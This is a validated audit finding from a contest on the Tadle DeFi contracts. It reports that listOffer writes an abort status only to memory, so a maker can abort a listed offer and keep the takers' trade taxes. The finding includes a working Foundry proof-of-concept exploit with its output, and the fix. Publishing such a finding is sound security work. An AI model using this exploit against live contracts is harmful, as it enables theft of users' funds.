Tadle
Tadle
DeFi
30,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Incorrect Abort Status Update In The `listOffer` Function Allows Malicious Makers to Profit from Trade Tax

Fortis Audits

Summary:

The contract implements a trading system where users can create and interact with offers. The createOffer function allows users to create an initial offer, specifying details such as the number of points, amount, and trade tax. Once created, these offers can be listed for trading using the listOffer function, making them available for other users (takers) to accept.

A critical vulnerability exists in the listOffer function. When listing a protected offer, the function should update the offer's abort status to prevent the maker from aborting after takers have accepted. However, this status update is only performed in memory and not persisted to storage. As a result, malicious makers can exploit this oversight to create attractive offers, collect trade taxes from takers, and then abort the offers without fulfilling their obligations. This vulnerability undermines the integrity of the trading system and puts takers at risk of financial loss.

Vulnerability Details:

In the listOffer function, when the offer type is protected, the abort status should be changed to AbortOfferStatus.SubOfferListed. However, this change is only made in memory and not persisted to storage. This creates a discrepancy between the intended state and the actual state of the offer.

The abortAskOffer function has the following requirements for aborting an offer:

  1. The caller must be the offer authority.

  2. The offer type must be Ask.

  3. The abort offer status must be Initialized.

  4. The offer status must be either Virgin or Canceled.

  5. For Turbo settle type, the offer must not be a sub-offer (i.e., stockInfo.preOffer must be address(0)).

The vulnerability in listOffer allows a malicious maker to bypass the third requirement. When an offer is listed, its abort status should change from Initialized to SubOfferListed, preventing it from being aborted. However, because this status update doesn't persist to storage, the offer's abort status remains Initialized even after listing.

As a result malicious maker can list an offer, wait for takers to accept it and pay the trade tax, and then abort the offer. This allows the maker to get their initial collateral deposit and any collected trade taxes, without delivering the promised point tokens to the takers.

Code Snippet:

https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/PreMarkets.sol#L295-L396

function listOffer(address _stock, uint256 _amount, uint256 _collateralRate) external payable {
.
.
.
.
/// @dev change abort offer status when offer settle type is turbo
if (makerInfo.offerSettleType == OfferSettleType.Turbo) {
address originOffer = makerInfo.originOffer;
@--> OfferInfo memory originOfferInfo = offerInfoMap[originOffer];
​
if (_collateralRate != originOfferInfo.collateralRate) {
revert InvalidCollateralRate();
}
originOfferInfo.abortOfferStatus = AbortOfferStatus.SubOfferListed;
}
.
.
.
}

Impact:

This vulnerability allows malicious makers to create offers with attractive rates and high trade taxes, collect taxes from takers, and then abort the offers without consequence.

As a result, the impact of this vulnerability includes

  • Financial Loss for Takers: Takers who accept these fraudulent offers and pay the trade tax will lose their money when the offer is aborted, as they will not receive the assets they paid for.

  • Erosion of Trust in the System: The integrity of the trading platform is compromised, as users cannot trust that offers will be honored after they are accepted.

  • Profit for Malicious Makers: Malicious makers can repeatedly exploit this vulnerability to profit from collected trade taxes without any intention of fulfilling their offers.

Proof of Concept:

Alice (malicious maker) exploits this vulnerability:

  1. Alice creates an offer with createOffer, promising a high number of point tokens at a low price, setting a high trade tax.

  2. Bob (taker) sees the attractive offer and calls createTaker to accept it, paying the trade tax.

  3. Bob calls listOffer, but the abort status is not properly updated in storage.

  4. Cathy (another taker) also accepts the offer and pays the trade tax.

  5. Alice waits for more takers to accept the offer and pay trade taxes.

  6. Alice calls abortAskOffer, successfully aborting the offer despite it being listed.

  7. Alice receives all collected trade taxes plus her original collateral deposit.

  8. Alice can repeat this process multiple times, accumulating trade taxes from unsuspecting takers.

Proof of Code

For testing the POC, run the following command:

forge test --mt test_FortisAudits_Offer_CanBe_Aborted_AfterListing -vvvv

Add the following code to the PreMarkets.t.sol contract:

function test_FortisAudits_Offer_CanBe_Aborted_AfterListing() public {
address alice = address(0x123);
address bob = address(0x456);
address cathy = address(0x789);
​
deal(address(mockUSDCToken), alice, 12e15);
deal(address(mockUSDCToken), bob, 5175e12);
deal(address(mockUSDCToken), cathy, 5175e12);
​
vm.startPrank(alice);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
console2.log("Alice balance Before Offer:", mockUSDCToken.balanceOf(alice));
console2.log("Bob balance Before Offer Taken:", mockUSDCToken.balanceOf(bob));
console2.log("Cathy balance Before Offer Taken:", mockUSDCToken.balanceOf(cathy));
preMarktes.createOffer(
CreateOfferParams(
marketPlace, address(mockUSDCToken), 1000, 0.01 * 1e18, 12000, 300, OfferType.Ask, OfferSettleType.Turbo
)
);
vm.stopPrank();
​
vm.startPrank(bob);
console2.log("Alice balance After Offer:", mockUSDCToken.balanceOf(alice));
console2.log("Bob balance Before Offer Taken:", mockUSDCToken.balanceOf(bob));
console2.log("Cathy balance Before Offer Taken:", mockUSDCToken.balanceOf(cathy));
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
address offerAddr = GenerateAddress.generateOfferAddress(0);
address stockAddr = GenerateAddress.generateStockAddress(0);
preMarktes.createTaker(offerAddr, 500);
​
address stock1Addr = GenerateAddress.generateStockAddress(1);
preMarktes.listOffer(stock1Addr, 0.01 * 1e18, 12000);
vm.stopPrank();
​
vm.startPrank(cathy);
console2.log("Alice balance After Offer:", mockUSDCToken.balanceOf(alice));
console2.log("Bob balance After Offer Taken:", mockUSDCToken.balanceOf(bob));
console2.log("Cathy balance Before Offer Taken:", mockUSDCToken.balanceOf(cathy));
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createTaker(offerAddr, 500);
vm.stopPrank();
​
vm.prank(address(capitalPool));
capitalPool.approve(address(mockUSDCToken));
​
console2.log("Alice balance After Offer:", mockUSDCToken.balanceOf(alice));
console2.log("Bob balance After Offer Taken:", mockUSDCToken.balanceOf(bob));
console2.log("Cathy balance After Taken:", mockUSDCToken.balanceOf(cathy));
​
vm.startPrank(alice);
preMarktes.abortAskOffer(stockAddr, offerAddr);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.TaxIncome);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
​
vm.stopPrank();
console2.log("Alice balance After Offer is Aborted And Withdrawed:", mockUSDCToken.balanceOf(alice));
console2.log("Bob balance After Offer Taken:", mockUSDCToken.balanceOf(bob));
console2.log("Cathy balance After Offer Taken:", mockUSDCToken.balanceOf(cathy));
console2.log("Additional Profit for Alice:", mockUSDCToken.balanceOf(alice) - 12e15);
​
OfferInfo memory offerInfo = preMarktes.getOfferInfo(offerAddr);
console2.log("offerInfo status is ", uint256(offerInfo.offerStatus), "which means it is settled");
assertEq(uint256(offerInfo.offerStatus), uint256(OfferStatus.Settled));
}

Here is the output of the test:

[PASS] test_FortisAudits_Offer_CanBe_Aborted_AfterListing() (gas: 1645591)
Logs:
Alice balance Before Offer: 12000000000000000
Bob balance Before Offer Taken: 5175000000000000
Cathy balance Before Offer Taken: 5175000000000000
Alice balance After Offer: 0
Bob balance Before Offer Taken: 5175000000000000
Cathy balance Before Offer Taken: 5175000000000000
Alice balance After Offer: 0
Bob balance After Offer Taken: 0
Cathy balance Before Offer Taken: 5175000000000000
Alice balance After Offer: 0
Bob balance After Offer Taken: 0
Cathy balance After Taken: 0
Alice balance After Offer is Aborted And Withdrawed: 12300000000000000
Bob balance After Offer Taken: 0
Cathy balance After Offer Taken: 0
Additional Profit for Alice: 300000000000000
offerInfo status is 6 which means it is settled
​
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.90ms (2.60ms CPU time)

Tools Used:

  • Manual Review

  • Foundry

Recommendations:

To mitigated this issue ensure that the abort status is updated in the contract's storage, not just in memory. This can be done by modifying the listOffer function

Here is the recommended mitigation:

function listOffer(address _stock, uint256 _amount, uint256 _collateralRate) external payable {
.
.
.
.
/// @dev change abort offer status when offer settle type is turbo
if (makerInfo.offerSettleType == OfferSettleType.Turbo) {
address originOffer = makerInfo.originOffer;
- OfferInfo memory originOfferInfo = offerInfoMap[originOffer];
+ OfferInfo storage originOfferInfo = offerInfoMap[originOffer];
​
if (_collateralRate != originOfferInfo.collateralRate) {
revert InvalidCollateralRate();
}
originOfferInfo.abortOfferStatus = AbortOfferStatus.SubOfferListed;
}
.
.
.
}
Updates

Lead Judging Commences

0xnevi Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-PreMarkets-listOffer-originIOfferInfo-storage-memory

Valid high severity, because the `abortOfferStatus` of the offer is not updated and persist through `storage` when listing an offer for turbo mode within the `offerInfoMap` mapping, it allows premature abortion given the `abortOfferStatus` defaults to `Initialized`, allowing the bypass of this [check](https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/PreMarkets.sol#L552-L557) here and allow complete refund of initial collateral + stealing of trade tax which can potentially be gamed for profits using multiple addresses

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.